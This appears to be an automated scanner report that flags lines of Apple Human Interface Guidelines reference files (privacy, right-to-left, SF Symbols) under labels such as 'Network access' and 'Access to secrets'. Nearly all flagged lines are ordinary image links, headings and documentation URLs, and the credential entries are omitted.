    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| The app records during the night to detect snoring sounds.| An active sentence
  • Network accessline 59
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| Microphone access is needed for a better experience.| A passive sentence that provi
  • Network accessline 60
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| Turn on microphone access.| An imperative sentence that doesn’t provide any justifi
  • Network accessline 70
    ![A screenshot of a permission alert for a social media app displaying a purpose string that reads Allow Social Media to access your location? Turning on location  will allow us to show you nearby post locations. Below the string is a small
  • Network accessline 72
    ![A screenshot of a permission alert for a social media app displaying a purpose string that reads Social Media Would Like to Access Your Photos. Allow access to photos to upload photos from your library. The string is followed by three but
  • Network accessline 74
    ![A screenshot of a permission alert for a social media app displaying a purpose string that reads Social Media Would Like to Access Your Contacts. Find friends using Social Media and add them to your network. The string is followed by two 
  • Network accessline 76
    ### [Pre-alert screens, windows, or views](https://developer.apple.com/design/human-interface-guidelines/privacy#Pre-alert-screens-windows-or-views)
  • Network accessline 82
    ![A screenshot of an app's pre-alert screen that reads Turning on location services allows us to provide features like: alerts when your friends are nearby, news of events happening near you, tagging and sharing your location. You can chang
  • Network accessline 84
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 88
    ![A screenshot of an app’s pre-alert screen that includes a button titled Cancel that appears below the Next button.](https://docs-assets.developer.apple.com/published/56cc76fcd5f87de8dae06080b81358f2/privacy-custom-messaging-incorrect-canc
  • Network accessline 90
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Don’t include an option to cancel.
  • Network accessline 92
    ![A screenshot of an app’s pre-alert screen that includes a Close button in the top-left corner. The Next button appears near the bottom of the screen.](https://docs-assets.developer.apple.com/published/a5cb7d6881eb22e248afd3f806743f67/priv
  • Network accessline 94
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Don’t include an option to close the view.
  • Network accessline 96
    ### [Tracking requests](https://developer.apple.com/design/human-interface-guidelines/privacy#Tracking-requests)
  • Network accessline 102
    There are several prohibited custom-screen designs that will cause rejection. Some examples are offering incentives, displaying a screen or window that looks like a request, displaying an image of the alert, and annotating the screen behind
  • Network accessline 111
    ![A screenshot of an app’s pre-tracking message that reads Allow tracking and get a $100 credit toward your next purchase. Below the text is an image of a dollar sign inside a circle. Below the image is a button titled Get $100 credit.](htt
  • Network accessline 113
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Don’t offer incentives for granting the request. You can’t offer people compensation 
  • Network accessline 115
    ![A screenshot of an app’s pre-tracking message that reads Allow tracking for a better experience. Below the text is a bar graph image that shows four bars increasing in height from left to right. Below the graph is a button titled Allow Tr
  • Network accessline 117
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Don’t display a custom screen that mirrors the functionality of the system alert. In 
  • Network accessline 119
    ![A screenshot of an app’s pre-tracking message that reads Choose Allow when prompted. Below the text is an image of the system-provided alert. Below the image is a button titled Continue. The Allow While Using the App button in the system-
  • Network accessline 121
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Don’t show an image of the standard alert and modify it in any way.
  • Network accessline 123
    ![A screenshot of an app’s pre-tracking message that reads Allow tracking for a better experience. The app’s custom screen also includes an upward-pointing arrow and the words Choose Allow in the lower third of the screen.](https://docs-ass
  • Network accessline 125
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Don’t add a visual cue that draws people’s attention to the system alert’s Allow butt
  • Network accessline 127
    ## [Location button](https://developer.apple.com/design/human-interface-guidelines/privacy#Location-button)
  • Network accessline 131
    ![An image of a lozenge-shaped blue button that displays a white location indicator — that is, a narrow arrow head shape that points to the top right — followed by the text Current Location.](https://docs-assets.developer.apple.com/publishe
  • Network accessline 135
    ![A screenshot of the alert displayed by the location button that appears on top of a background image showing a partial map. The alert reads Allow Social Media to access your location? Turning on location  will allow us to show you nearby 
  • Network accessline 141
    If your app has no authorization status, tapping the location button has the same effect as when a person chooses _Allow Once_ in the standard alert. If people previously chose _While Using the App_ , tapping the location button doesn’t cha
  • Network accessline 164
    ## [Protecting data](https://developer.apple.com/design/human-interface-guidelines/privacy#Protecting-data)
  • Network accessline 170
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Network accessline 172
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Network accessline 176
    **Avoid inventing custom authentication schemes.** If your app requires authentication, prefer system-provided features like [passkeys](https://developer.apple.com/documentation/authenticationservices/public-private_key_authentication/suppo
  • Network accessline 178
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/privacy#Platform-considerations)
  • Network accessline 182
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/privacy#macOS)
  • Network accessline 184
    **Sign your app with a valid Developer ID.** If you choose to distribute your app outside the store, signing your app with Developer ID identifies you as an Apple developer and confirms that your app is safe to use. For developer guidance, 
  • Network accessline 186
    **Protect people’s data with app sandboxing.** Sandboxing provides your app with access to system resources and user data while protecting it from malware. All apps submitted to the Mac App Store require sandboxing. For developer guidance, 
  • Network accessline 190
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/privacy#visionOS)
  • Network accessline 194
    ARKit doesn’t send data to apps in the Shared Space; to access ARKit APIs, your app must open a Full Space. Additionally, features like Plane Estimation, Scene Reconstruction, Image Anchoring, and Hand Tracking require people’s permission t
  • Network accessline 196
    In visionOS, user input is private by design. The system automatically displays hover effects when people look at interactive components you create using SwiftUI or RealityKit, giving people the visual feedback they need without exposing wh
  • Network accessline 198
    Developer access to device cameras works differently in visionOS than it does in other platforms. Specifically, the back camera provides blank input and is only available as a compatibility convenience; the front camera provides input for [
  • Network accessline 200
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/privacy#Resources)
  • Network accessline 202
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/privacy#Related)
  • Network accessline 204
    [Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data)
  • Network accessline 206
    [Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding)
  • Network accessline 208
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/privacy#Developer-documentation)
  • Network accessline 210
    [Requesting access to protected resources](https://developer.apple.com/documentation/UIKit/requesting-access-to-protected-resources) — UIKit
  • Network accessline 212
    [Security](https://developer.apple.com/documentation/Security)
  • Network accessline 214
    [Requesting authorization to use location services](https://developer.apple.com/documentation/CoreLocation/requesting-authorization-to-use-location-services) — CoreLocation
  • Network accessline 216
    [App Tracking Transparency](https://developer.apple.com/documentation/AppTrackingTransparency)
  • Network accessline 218
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/privacy#Videos)
  • Network accessline 220
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/0A08BD06-2B59-45BA-AA75-C9206946195D/9945_wide_250x141_1x.jpg) Integrate privacy into your development process ](https://developer.apple.com/vide
  • Network accessline 222
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/473C8E4A-1764-482D-BE24-B3A7BBDBD526/9996_wide_250x141_1x.jpg) What’s new in passkeys ](https://developer.apple.com/videos/play/wwdc2025/279)
  • Network accessline 224
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/39DEAE04-CBAD-401A-973C-3916F2B9624A/9251_wide_250x141_1x.jpg) What’s new in privacy ](https://developer.apple.com/videos/play/wwdc2024/10123)
  • Network accessline 226
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/privacy#Change-log)

skills/hig-foundations/references/right-to-left.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Right to left | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/right-to-left
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/right-to-left
  • Network accessline 9
    ![A sketch of a right-aligned bulleted list within a window, suggesting an interface displayed in a right-to-left language. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in 
  • Network accessline 11
    When people choose a language for their device — or just your app or game — they expect the interface to adapt in various ways (to learn more, see [Localization](https://developer.apple.com/localization/)).
  • Network accessline 17
    ## [Text alignment](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Text-alignment)
  • Network accessline 21
    ![An illustration showing a layout of text and images in an interface. Three bars that represent text are left-aligned above a rounded rectangle area. A placeholder image is centered in the area, above another bar at the bottom edge. The ba
  • Network accessline 23
    ![An illustration showing a layout of text and images in an interface. Three bars that represent text are right-aligned above a rounded rectangle area. A placeholder image is centered in the area, above another bar at the bottom edge. The b
  • Network accessline 27
    ![An image showing two paragraphs of placeholder copy. The first paragraph is in Arabic and is right-aligned. The second paragraph is in English and is left-aligned.](https://docs-assets.developer.apple.com/published/b32ae443b1d7daa1bb661b5
  • Network accessline 29
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 31
    ![An image showing two paragraphs of placeholder copy. The first paragraph is in Arabic and the second paragraph is in English. Both paragraphs are right-aligned.](https://docs-assets.developer.apple.com/published/738bda44c81a146b02cbd67db5
  • Network accessline 33
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 37
    ![An illustration of a right-aligned list of gray bars that represent right-to-left text.](https://docs-assets.developer.apple.com/published/8e497bdc80a98b7896b492d2e5bfb57b/mixed-script-list-alignment-correct%402x.png)Right-aligned content
  • Network accessline 39
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 41
    ![An illustration of a list of gray bars. The first, third, fourth, and fifth bars represent right-to-left text. The second bar is incorrectly left-aligned.](https://docs-assets.developer.apple.com/published/8764f467c4870522419bb26fa5894c09
  • Network accessline 43
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 45
    ## [Numbers and characters](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Numbers-and-characters)
  • Network accessline 51
    ![From the left, the numerals one, two, and three in Western Arabic numerals.](https://docs-assets.developer.apple.com/published/c40d3d208a9aee56d680d6915fb44fff/textformat-123-ltr%402x.png)Western Arabic numerals
  • Network accessline 53
    ![From the right, the numerals one, two, and three in Eastern Arabic numerals.](https://docs-assets.developer.apple.com/published/8a9f9c2f6fb291304a5d93e27be0bead/textformat-123-ar%402x.png)Eastern Arabic numerals
  • Network accessline 57
    ![From the left, the two words order and number followed by the number 123456 in Latin script.](https://docs-assets.developer.apple.com/published/e6ae8d9dab2a6da825829cf88bfb6adb/latin-numerals%402x.png)Latin
  • Network accessline 59
    ![From the right, the two words order and number followed by the number 12345 in Hebrew script.](https://docs-assets.developer.apple.com/published/8b4b0b82384424720d861865ac61ad37/hebrew-numerals%402x.png)Hebrew
  • Network accessline 61
    ![From the right, the two words order and number in Arabic script, followed by the number 12345 in Western Arabic numerals.](https://docs-assets.developer.apple.com/published/427e50992b8e4900fa7f64c73ad8c0b1/western-arabic-numerals%402x.png
  • Network accessline 63
    ![From the right, the two words order and number in Arabic script, followed by the number 12345 in Eastern Arabic numerals.](https://docs-assets.developer.apple.com/published/6edfa8597370c06b66cdbbaae728f97b/eastern-arabic-numerals%402x.png
  • Network accessline 67
    ![A horizontal row of five stars. From the left, the first three and a half stars are filled. Below the stars is a row of Latin numerals, each numeral vertically aligned with a star above. From the left, the numerals are one, two, three, fo
  • Network accessline 69
    ![A horizontal row of five stars. From the right, the first three and a half stars are filled. Below the stars is a row of Eastern Arabic numerals, each numeral vertically aligned with a star above. From the right, the numerals are one, two
  • Network accessline 71
    ![A horizontal row of five stars. From the right, the first three and a half stars are filled. Below the stars is a row of Western Arabic numerals, each numeral vertically aligned with a star above. From the right, the numerals are one, two
  • Network accessline 73
    ![A horizontal row of five stars. From the right, the first three and a half stars are filled. Below the stars is a row of Western Arabic numerals, each numeral vertically aligned with a star above. From the right, the numerals are one, two
  • Network accessline 75
    ## [Controls](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Controls)
  • Network accessline 79
    ![An illustration of a volume control slider. The left side has a right-facing speaker glyph with no sound emerging, and the right side has a right-facing speaker glyph with sound waves projecting from it, showing that moving the thumb from
  • Network accessline 81
    ![An illustration of a volume control slider. The right side has a left-facing speaker glyph with no sound emerging, and the left side has a left-facing speaker glyph with sound waves projecting from it, showing that moving the thumb from r
  • Network accessline 89
    ![A horizontal row of three blue oval buttons. Each button is labeled with the word download. From the left, the labels are in Latin, Arabic, and Hebrew scripts, with the English label using all capital letters. Two horizontal red lines run
  • Network accessline 91
    ![A horizontal row of three blue oval buttons. Each button is labeled with the word download. From the left, the labels are in Latin, Arabic, and Hebrew scripts, with the English label using all capital letters. Two horizontal red lines run
  • Network accessline 93
    ## [Images](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Images)
  • Network accessline 97
    ![A simplified illustration of a globe that uses solid black shapes to show most of Africa, Europe, Asia, Australia, and Antarctica.](https://docs-assets.developer.apple.com/published/ca80fd6003c4ebff97714123a33c974e/image-displayed-right%4
  • Network accessline 99
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 101
    ![A simplified illustration of a globe that shows a horizontally flipped Eastern hemisphere with Africa on the far right and Australia on the far left.](https://docs-assets.developer.apple.com/published/0310648a2b1ff40a796e5544d057d30b/imag
  • Network accessline 103
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 107
    ![An illustration showing a layout of text and images within a rounded rectangle. A short bar representing text is left-aligned in the upper-left corner. Below the bar is an area that contains four squares, including a blue square with a pl
  • Network accessline 109
    ![An illustration showing a layout of text and images within a rounded rectangle. A short bar representing text is right-aligned in the upper-right corner. Below the bar is an area that contains four squares, including a blue square with a 
  • Network accessline 111
    ## [Interface icons](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Interface-icons)
  • Network accessline 113
    When you use [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) to supply interface icons for your app, you get variants for the RTL context and localized symbols for Arabic and Hebrew, among other langua
  • Network accessline 115
    ![Three horizontal lines, stacked evenly on top of each other. Each line is preceded by a bullet on left. The shape of a closed book with its spine on the left. A rounded rectangle containing a left-aligned row of three dots. A pencil is sl
  • Network accessline 117
    ![Three horizontal lines, stacked evenly on top of each other. Each line is preceded by a bullet on right. The shape of a closed book with its spine on the right. A rounded rectangle containing a right-aligned row of three dots. A pencil is
  • Network accessline 121
    ![A rounded rectangle that contains three horizontal left-aligned lines.](https://docs-assets.developer.apple.com/published/298befd594e841846cd466f60d2bea6a/doc-plaintext-ltr%402x.png)LTR variant of a symbol that represents text
  • Network accessline 123
    ![A rounded rectangle that contains three horizontal right-aligned lines.](https://docs-assets.developer.apple.com/published/bfae7054f6aec52f1a63e31b6c0db79d/doc-plaintext-rtl%402x.png)RTL variant of a symbol that represents text
  • Network accessline 127
    ![A small X left-aligned above a horizontal line. A stylized signature begins at the X and finishes at the right end of the line. A rounded rectangle containing a capital letter A in the top-left corner and a stack of two horizontal lines i
  • Network accessline 129
    ![A small X right-aligned above a horizontal line. A stylized signature begins at the X and finishes at the left end of the line. A rounded rectangle containing the letter Alef in the top-right corner and a stack of two horizontal lines in 
  • Network accessline 131
    ![A small X right-aligned above a horizontal line. A stylized signature begins at the X and finishes at the left end of the line. A rounded rectangle containing the letter Ain in the top-right corner and a stack of two horizontal lines in t
  • Network accessline 137
    ![The outline of a speaker with three concentric curved lines emanating to the right.](https://docs-assets.developer.apple.com/published/d43d629eea61239a9268d6616551b48c/speaker-wave-3-ltr%402x.png)LTR variant of a symbol that depicts forwa
  • Network accessline 139
    ![The outline of a speaker with three concentric curved lines emanating to the left.](https://docs-assets.developer.apple.com/published/d10bb4c00b214c16a802183377134b59/speaker-wave-3-rtl%402x.png)RTL variant of a symbol that depicts forwar
  • Network accessline 143
    ![A rounded square that contains the black Apple TV logo, which consists of a solid black apple to the left of the lowercase letters T and V.](https://docs-assets.developer.apple.com/published/7c7eb6d19b63d77412c7754893c0f65c/appletv-ltr%40
  • Network accessline 145
    ![A checkmark.](https://docs-assets.developer.apple.com/published/31cfb3b8b93a1747eddac562a979a9cb/checkmark-ltr%402x.png)A universal symbol or mark
  • Network accessline 149
    ![A black disk with two white lines in the nine o'clock position.](https://docs-assets.developer.apple.com/published/2d167db99027c9f44270a86a273f225f/clock-fill-ltr%402x.png)
  • Network accessline 151
    ![A pencil with an eraser, slanted at about forty-five degrees with the point in the bottom-left.](https://docs-assets.developer.apple.com/published/6597719e77e19638bb265cd6c58f9a8a/pencil-ltr%402x.png)
  • Network accessline 153
    ![The silhouette of a game controller with a white plus sign on the left and two white buttons on the right.](https://docs-assets.developer.apple.com/published/c3f51c228de248bf096aae7164836eab/gamecontroller-fill-ltr%402x.png)
  • Network accessline 157
    ![A silhouette of a speaker pointing right with a backslash on top of it.](https://docs-assets.developer.apple.com/published/0557fd6fd8fc1b2c347cd869baa6ae0e/speaker-slash-fill-ltr%402x.png)LTR variant of a symbol that includes a backslash
  • Network accessline 159
    ![A silhouette of a speaker pointing left with a backslash on top of it.](https://docs-assets.developer.apple.com/published/42dc822fc59ebc4c8d02d6e6c7fa0959/speaker-slash-fill-rtl%402x.png)RTL variant of a symbol that includes a backslash
  • Network accessline 163
    ![A silhouette of a wheeled shopping cart that faces right. A white plus sign inside a black disk is in the top-right corner.](https://docs-assets.developer.apple.com/published/faa9849953c7b1b1470db91ed25125d0/cart-fill-badge-plus-ltr%402x.
  • Network accessline 165
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 167
    ![A silhouette of a wheeled shopping cart that faces left. A white plus sign inside a black disk is in the top-right corner.](https://docs-assets.developer.apple.com/published/c065f8369e681461bc34ea590b80994b/cart-fill-badge-rtl-unbalanced%
  • Network accessline 169
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 171
    ![A silhouette of a wheeled shopping cart that faces left. A white plus sign inside a black disk is in the top-left corner.](https://docs-assets.developer.apple.com/published/97251e1850265c3b1d654d1e4631ca74/cart-fill-badge-plus-rtl%402x.pn
  • Network accessline 173
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 177
    ![A rounded rectangle that contains a black dot in the top-right corner. The outline of a magnifying glass that contains a stack of two left-aligned lines is on top of the rectangle and to the left of the dot, slanted at about 135 degrees.]
  • Network accessline 179
    ![A rounded rectangle that contains a black dot in the top-left corner. The outline of a magnifying glass that contains a stack of two rightt-aligned lines is on top of the rectangle and to the right of the dot, slanted at about 135 degrees
  • Network accessline 181
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Platform-considerations)
  • Network accessline 185
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Resources)
  • Network accessline 187
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Related)
  • Network accessline 189
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 191
    [Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion)
  • Network accessline 193
    [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols)
  • Network accessline 195
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Developer-documentation)
  • Network accessline 197
    [Localization](https://developer.apple.com/localization/)
  • Network accessline 199
    [Preparing views for localization](https://developer.apple.com/documentation/SwiftUI/Preparing-views-for-localization) — SwiftUI
  • Network accessline 201
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/right-to-left#Videos)
  • Network accessline 203
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/4498DDBC-5903-48A6-85EB-47BCACA39DFB/9915_wide_250x141_1x.jpg) Enhance your app’s multilingual experience ](https://developer.apple.com/videos/pl
  • Network accessline 205
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/7F5167EA-F6A3-4605-83FF-FF75E802969C/6527_wide_250x141_1x.jpg) Design for Arabic ](https://developer.apple.com/videos/play/wwdc2022/10034)

skills/hig-foundations/references/sf-symbols.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "SF Symbols | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sf-symbols
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/sf-symbols
  • Network accessline 9
    ![A sketch of the SF Symbols icon. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/06d
  • Network accessline 15
    Visit [SF Symbols](https://developer.apple.com/sf-symbols/) to download the app and browse the full set of symbols. Be sure to understand the terms and conditions for using SF Symbols, including the prohibition against using symbols — or im
  • Network accessline 17
    ## [Rendering modes](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Rendering-modes)
  • Network accessline 23
    ![An image of the cloud sun rain fill symbol. The cloud is black and the raindrops and sun are gray to indicate that the cloud is in the primary layer.](https://docs-assets.developer.apple.com/published/42c350caa5e5117d40d45ac28c258832/sf-t
  • Network accessline 25
    ![An image of the cloud sun rain fill symbol. The sun is black and the raindrops and cloud are gray to indicate that the sun is in the secondary layer.](https://docs-assets.developer.apple.com/published/9acc461ef73c512ab21e4713fcdc75a3/sf-t
  • Network accessline 27
    ![An image of the cloud sun rain fill symbol. The raindrops are black and the sun and cloud are gray to indicate that the raindrops are in the primary layer.](https://docs-assets.developer.apple.com/published/f2ec783b9aedc7f59c3485efb83fbb9
  • Network accessline 31
    ![An image of the cloud sun rain fill symbol that uses three different opacities of the system blue color in the symbol’s three different layers: the cloud is fully opaque, the sun is about 50% opaque, and the raindrops are about 25% opaque
  • Network accessline 33
    To learn more about supporting rendering modes in custom symbols, see [Custom symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Custom-symbols).
  • Network accessline 39
    ![A diagram showing a row of eight symbols, all of which use a single opacity of the system blue color.](https://docs-assets.developer.apple.com/published/b296a9ee1b06b49c011209c83b537096/sf-monochrome%402x.png)
  • Network accessline 43
    ![A diagram showing a row of eight symbols, each of which uses different opacities of the system blue color. From the left, the square and arrow up symbol uses full opacity for the arrow and low opacity in the square. Next, folder badge plu
  • Network accessline 47
    ![A diagram showing a row of eight symbols, each of which uses a combination of gray and the system blue color. From the left, the square and arrow up symbol uses blue for the arrow and light gray for the square. Next, folder badge plus use
  • Network accessline 51
    ![A diagram showing a row of eight symbols, using combinations of various colors. From the left, the square and arrow up symbol uses blue for all lines. Next, folder badge plus uses green for the badge and blue for the folder. Trash slash u
  • Network accessline 53
    Regardless of rendering mode, using system-provided colors ensures that symbols automatically adapt to accessibility accommodations and appearance modes like vibrancy and Dark Mode. For developer guidance, see [renderingMode(_:)](https://de
  • Network accessline 57
    ## [Gradients](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Gradients)
  • Network accessline 61
    ![The sun symbol with a solid yellow fill.](https://docs-assets.developer.apple.com/published/2df52fad04d6250f02143138ff76da14/sf-symbols-sun-solid-fill%402x.png)Solid fill
  • Network accessline 63
    ![The sun symbol with a gradient fill derived from a single yellow source color. The gradient color is bright on the left edge of the symbol, and subtly darkens as it approaches the right edge.](https://docs-assets.developer.apple.com/publi
  • Network accessline 65
    ## [Variable color](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Variable-color)
  • Network accessline 71
    ![A diagram showing four versions of the speaker wave three symbol, each of which displays color in a different number of wave paths. From the left, the number of waves with color is zero, one, two, and three.](https://docs-assets.developer
  • Network accessline 77
    ## [Weights and scales](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Weights-and-scales)
  • Network accessline 81
    ![A diagram showing the square and arrow up symbol in all 27 weights and scales.](https://docs-assets.developer.apple.com/published/a46e2c294c605c4f5e5f626c67d6bb2d/sf-scales-weights%402x.png)
  • Network accessline 87
    ![A diagram showing the first of three images of the plus circle symbol followed by the capitalized word add. In each image, the word uses the same size, but the symbol uses a different size. The symbol size is small in this image. Two para
  • Network accessline 89
    ![The second of three images of the plus circle symbol followed by the capitalized word add. In this medium symbol, the circle extends slightly above and below the lines.](https://docs-assets.developer.apple.com/published/aa672f59358a8bb354
  • Network accessline 91
    ![The third of three images of the plus circle symbol followed by the capitalized word add. In this large symbol, the vertical line of the plus sign almost touches both lines.](https://docs-assets.developer.apple.com/published/6696a9dbf59f8
  • Network accessline 93
    Specifying a scale lets you adjust a symbol’s emphasis compared to adjacent text, without disrupting the weight matching with text that uses the same point size. For developer guidance, see [`imageScale(_:)`](https://developer.apple.com/doc
  • Network accessline 95
    ## [Design variants](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Design-variants)
  • Network accessline 103
    ![A diagram showing two rows of the same five symbols. In the top row, every symbol uses the outline variant; the bottom row shows the fill variant of each symbol. From the left, the symbols are heart, heart slash, heart circle, heart squar
  • Network accessline 105
    SF Symbols provides many variants for specific languages and writing systems, including Latin, Arabic, Hebrew, Hindi, Thai, Chinese, Japanese, Korean, Cyrillic, Devanagari, and several Indic numeral systems. Language- and script-specific va
  • Network accessline 107
    ![A diagram with eight rows of the same twelve symbols, where each row shows a localized version of the symbol. From the left the symbols are doc rich text, doc rich text fill, character book closed, character book closed fill, character bu
  • Network accessline 122
    ## [Animations](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Animations)
  • Network accessline 126
    Animations work on all SF Symbols in the library, in all rendering modes, weights, and scales, and on custom symbols. For considerations when animating custom symbols, see [Custom symbols](https://developer.apple.com/design/human-interface-
  • Network accessline 237
    **Consider your app’s tone when adding animations.** When animating a symbol, think about what the animation can convey and how that might align with your brand identity and your app’s overall style and tone. For guidance, see [Branding](ht
  • Network accessline 239
    ## [Custom symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Custom-symbols)
  • Network accessline 241
    If you need a symbol that SF Symbols doesn’t provide, you can create your own. To create a custom symbol, first export the template for a symbol that’s similar to the design you want, then use a vector-editing tool to modify it. For develop
  • Network accessline 262
    For guidance, see [Icons](https://developer.apple.com/design/human-interface-guidelines/icons).
  • Network accessline 272
    **Provide alternative text labels for custom symbols.** Alternative text labels — or accessibility descriptions — let VoiceOver describe visible UI and content, making navigation easier for people with visual disabilities. For guidance, see
  • Network accessline 276
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Platform-considerations)
  • Network accessline 280
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Resources)
  • Network accessline 282
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Related)
  • Network accessline 284
    [Download SF Symbols](https://developer.apple.com/sf-symbols/)
  • Network accessline 286
    [Typography](https://developer.apple.com/design/human-interface-guidelines/typography)
  • Network accessline 288
    [Icons](https://developer.apple.com/design/human-interface-guidelines/icons)
  • Network accessline 290
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Developer-documentation)
  • Network accessline 292
    [Symbols](https://developer.apple.com/documentation/Symbols) — Symbols framework
  • Network accessline 294
    [Configuring and displaying symbol images in your UI](https://developer.apple.com/documentation/UIKit/configuring-and-displaying-symbol-images-in-your-ui) — UIKit
  • Network accessline 296
    [Creating custom symbol images for your app](https://developer.apple.com/documentation/UIKit/creating-custom-symbol-images-for-your-app) — UIKit
  • Network accessline 298
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Videos)
  • Network accessline 300
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/4F1E5BC7-921E-46C0-927A-D84295787A94/9994_wide_250x141_1x.jpg) What’s new in SF Symbols 7 ](https://developer.apple.com/videos/play/wwdc2025/337)
  • Network accessline 302
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/sf-symbols#Change-log)

skills/hig-foundations/references/spatial-layout.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Spatial layout | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/spatial-layout
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/spatial-layout
  • Network accessline 9
